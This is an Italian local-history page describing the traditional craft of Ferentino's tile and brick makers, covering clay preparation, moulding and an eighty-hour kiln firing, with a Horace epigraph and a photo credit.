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SI TE GRATA QVIES ET PRIMAM SOMNVS IN HORAM DELECTAT,
SI TE PVLVIS STREPITVSQUE ROTARVM, SI LAEDIT CAVPONA,
FERENTINVM IRE IVBEBO;
NAM NEQVE DIVITIBVS CONTINGVNT GAVDIA SOLIS …
(Orazio – Epistularum Liber I, 17, vv. 6-9)
SI TE GRATA QVIES ET PRIMAM SOMNVS IN HORAM DELECTAT,
SI TE PVLVIS STREPITVSQUE ROTARVM, SI LAEDIT CAVPONA,
FERENTINVM IRE IVBEBO;
NAM NEQVE DIVITIBVS CONTINGVNT GAVDIA SOLIS …
(Orazio – Epistularum Liber I, 17, vv. 6-9)

Gli Canalaru – Piattaru

gli canalaru - piattaru

E' uno dei mestieri più antichi, esercitati da molti ferentinesi, tramandato di generazione in generazione. “Gli canalaru” lavorava da Aprile – Maggio fino a Settembre – Ottobre a seconda del tempo perchè il sole era indispensabile in questo lavoro ; dedicava la restante parte dell'anno a opere di riparazione della fornace che era situata sempre in una zona ricca di “creta”.
Essa doveva avere uno spiazzo largo all'aperto, “l' ara” dove si potevano mettere ad asciugare al sole le tegole e dove si poteva lavorare riparandosi dalla calura sotto stuoie o tetti di paglia.
“Gli canalaru” era un mestiere faticoso che non poteva essere fatto da una sola persona.
Le varie fasi della lavorazione dell'argilla e della cottura richiedevano l'opera ininterrotta di molte persone che si trovavano a stare insieme come accade in molti lavori dei campi. La prima operazione era quella di cavare “la creta” e veniva fatta a mano col piccone; intanto si preparava “l'ara” sgombrandola e pulendola con “gli rutravi”, specie di rastrelli rudimentali. L'argilla cavata veniva messa al sole per una giornata ad asciugare e si provvedeva a raffinarla battendola bene con “gli passuni”, attrezzi di legno tipici della zona usati anche per sgranare il granturco. Così raffinata si scioglieva con l'acqua, “su faceva appusà” cioè si metteva a decantare nelle fosse, specie di pozzi posti intorno all'ara scavati nel terreno e solo in seguito costruiti in muratura. Dopo tre o quattro ore si “spussava” con la pala e si rimetteva a scolare dalle dieci alle venti ore. A questo punto il materiale era pronto, la “creta” ormai quasi pura poteva essere lavorata. Prima si portava sui teli di panno dove veniva impastata aiutandosi spesso con i piedi, poi sui banchi dove si continuava per ore a raffinarla con le mani. Questa operazione assomigliava molto a quella della donna che provvede in casa a fare il pane e veniva fatta in parecchie persone chiamate “banchisti”. Quando l'impasto era omogeneo e raffinato si prendevano gli stampi che erano di forma trapezoidale per la tegola e il canale. e di forma rettangolare e varie dimensioni per i mattoni.
Preparazione delle tegoleIl canale aveva bisogno di due stampi: uno serviva a farlo – “cancegli”, – l' altro a “pogli” perchè doveva essere messo a seccare incurvato.
A queste operazioni partecipavano con piacere anche i bambini – “uttri chiamati a radà”: a togliere con coltelli la sbavatura degli stampi.
Canali e tegole venivano contrassegnati con segni particolari o iniziali di nomi a seconda della fornace di provenienza. Dai primi dell'800 l'unica fornace ancora attiva di Ferentino e che si vanta di aver fornito Michelangelo, usa le iniziali Pietro Giorgi. Canali, tegole e mattoni seccavano al sole da due a sette o otto giorni a seconda delle dimensioni. Gli “matuni” erano piuttosto delicati – dovevano asciugare all'ombra altrimenti si “crettavano”.
In questa fase tutto il lavoro “dugli canalaru” era completamente affidato agli imprevisti del tempo. Intanto ci si preparava alla cottura.
La fornace era una grande fossa costruita in mattoni profonda quattro metri, sorretta da archi sotto i quali si faceva il fuoco.
In essa venivano sistemati canali, tegole e mattoni fino a riempirla; in ultimo veniva messo sopra uno strato di terriccio che serviva a non far disperdere il calore. Sotto gli archi che sorreggevano la fornace si faceva il fuoco per ottanta ore di seguito senza mai smettere.
Il personale doveva alternarsi quando il calore era insopportabile. Per le prime ventiquattro ore il fuoco doveva essere lento : grandi tronchi di quercia erano la legna più adatta; poi per dieci ore “si dava gli ardenti” cioè si aumentava il calore usando legna più piccola e resistente, si diceva che la fornace era allegra. Infine per circa due giornate si continuava con fascine che venivano buttate dentro da lontano con forconi.
Terminato il fuoco la fornace si chiudeva: “s'appilava la occa cu la malta” per otto giorni.
Trascorsi gli otto giorni si poteva sformare e la lunga fatica era terminata.
Anticamente, “gli canalaru o furnaciaru” faceva anche “gli piatti cupi” “tianu” “stufaroli” i “pilu” per fagioli.

Il piattaio
Fotografia di Luciano Collalti riprodotta da un antichissimo negativo

Candia Principali da “Arti e Mestieri di Ferentino di Ieri

Antiche Fornaci Giorgi